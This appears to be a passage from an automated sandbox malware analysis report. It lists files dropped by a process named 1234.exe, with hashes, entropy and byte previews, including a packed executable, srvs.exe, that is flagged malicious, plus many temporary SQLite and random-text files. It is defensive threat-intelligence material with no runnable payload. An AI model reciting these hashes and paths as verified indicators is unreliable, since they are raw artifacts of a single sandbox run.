MD5: FED34146BF2F2FA59DCF8702FCC8232E

SHA1: B03BFEA175989D989850CF06FE5E7BBF56EAA00A

SHA-256: 123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C

SHA-512: 1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178F
F6

Malicious: false

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Temp\srvs.exe

Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3859368

Entropy (8bit): 7.912548851531853

Encrypted: false

SSDEEP: 98304:X5iEs4cCZTtmWfXuXv9KMXqRBEYSN2M5dqkkhLZ:oEs4cQxmCXQkMhUMPqkk1

MD5: D11C21AB3E969F79E3C783FDD97E1C10

SHA1: E6437317A778E824C277F417B535E7FD99E77195

SHA-256: 55FC1FD18CB0DB330EA14022C094ED624579331D39DC07DA94E7965AA192A206

SHA-512: 7043C2025857127C7BD57ABB294DACBEEE7A942D8E88A5AAC26412A0EDF257DE52F5BFA5C872625141E82D564C018250E8D200E8904546CD67A9C6EED5845FD
0

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 20%, Browse
Antivirus: ReversingLabs, Detection: 36%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0......./......cm.. ...@....@.. ....................... ........;.
..@.................................:@3.P....`...............:.............................................................................................        . ... ...................... ..`        ../..@...D..................@..@        .....`2
.....................@..@.vm_sec.......2.....................@....idata... ...@3.....................@....vimp0.......`3.....................`..`.themida.@8.. 5.....................`....boot........`m......@.............
.`..`.vimp0.......@........9............. ..`.rsrc.......`....... 9.............@..@......................................................................................................................................................................
..........................................................

C:\Users\user\AppData\Local\Temp\tmp21B5.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/353962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353962/html/none?idtype=webid
https://view.joesandbox.com/analysis/353953/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353953/html/none?idtype=webid
https://www.metadefender.com/#!/results/file/bzIxMDcyMnVFQmFqT2FzZldXU1ktS1VpeUdI/regular/analysis


Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21B5.tmp

C:\Users\user\AppData\Local\Temp\tmp21B6.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21D7.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21D8.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C
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SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21D8.tmp

C:\Users\user\AppData\Local\Temp\tmp21D9.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21DA.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp253A.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.685942106278079

Encrypted: false

SSDEEP: 24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK

MD5: 3F6896A097F6B0AE6A2BF3826C813DFC

SHA1: 951214AB37DEA766005DD981B0B3D61F936B035B

SHA-256: E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60

SHA-512: C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C

Malicious: false

Reputation: unknown
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Preview:
PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTM
EQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKY
RWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBL
ANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSI
VVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWY
ILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJT
XRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFY
JEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRT
KIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBF
IRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\tmp253A.tmp

C:\Users\user\AppData\Local\Temp\tmp253B.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.6969712158039245

Encrypted: false

SSDEEP: 24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR

MD5: 31CD00400A977C512B9F1AF51F2A5F90

SHA1: 3A6B9ED88BD73091D5685A51CB4C8870315C4A81

SHA-256: E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067

SHA-512: 0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA

Malicious: false

Reputation: unknown

Preview:
PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFW
TFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZL
LYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYX
PPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZ
PYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQ
SYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZ
SQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJ
SUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHU
LJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXT
WPKPYCQXPE

C:\Users\user\AppData\Local\Temp\tmp253C.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.702247102869977

Encrypted: false

SSDEEP: 24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5

MD5: B734D7226D90E4FD8228EE89C7DD26DA

SHA1: EDA7F371036A56A0DE687FF97B01F355C5060846

SHA-256: ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6

SHA-512: D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC
20

Malicious: false

Reputation: unknown

Preview:
QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGS
SHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQ
LAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTF
XXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVB
OXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTR
QWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPH
ZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMP
TDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNER
MNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEV
KEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\tmp256C.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.69422273140364

Encrypted: false

SSDEEP: 24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
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MD5: A686C2E2230002C3810CB3638589BF01

SHA1: 4B764DD14070E52A2AC0458F401CDD5724E714FB

SHA-256: 38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC

SHA-512: 1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3
F

Malicious: false

Reputation: unknown

Preview:
SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGV
ZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBG
FVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEH
GPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNL
VNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXO
MQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPD
AWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFS
ECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJ
DBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGL
DYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\tmp256C.tmp

C:\Users\user\AppData\Local\Temp\tmp256D.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.685942106278079

Encrypted: false

SSDEEP: 24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK

MD5: 3F6896A097F6B0AE6A2BF3826C813DFC

SHA1: 951214AB37DEA766005DD981B0B3D61F936B035B

SHA-256: E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60

SHA-512: C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C

Malicious: false

Reputation: unknown

Preview:
PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTM
EQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKY
RWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBL
ANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSI
VVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWY
ILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJT
XRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFY
JEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRT
KIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBF
IRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\tmp256E.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.6969712158039245

Encrypted: false

SSDEEP: 24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR

MD5: 31CD00400A977C512B9F1AF51F2A5F90

SHA1: 3A6B9ED88BD73091D5685A51CB4C8870315C4A81

SHA-256: E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067

SHA-512: 0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA

Malicious: false

Reputation: unknown

Preview:
PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFW
TFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZL
LYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYX
PPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZ
PYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQ
SYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZ
SQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJ
SUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHU
LJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXT
WPKPYCQXPE

C:\Users\user\AppData\Local\Temp\tmp256F.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe
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File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.702247102869977

Encrypted: false

SSDEEP: 24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5

MD5: B734D7226D90E4FD8228EE89C7DD26DA

SHA1: EDA7F371036A56A0DE687FF97B01F355C5060846

SHA-256: ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6

SHA-512: D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC
20

Malicious: false

Reputation: unknown

Preview:
QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGS
SHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQ
LAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTF
XXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVB
OXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTR
QWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPH
ZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMP
TDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNER
MNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEV
KEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\tmp256F.tmp

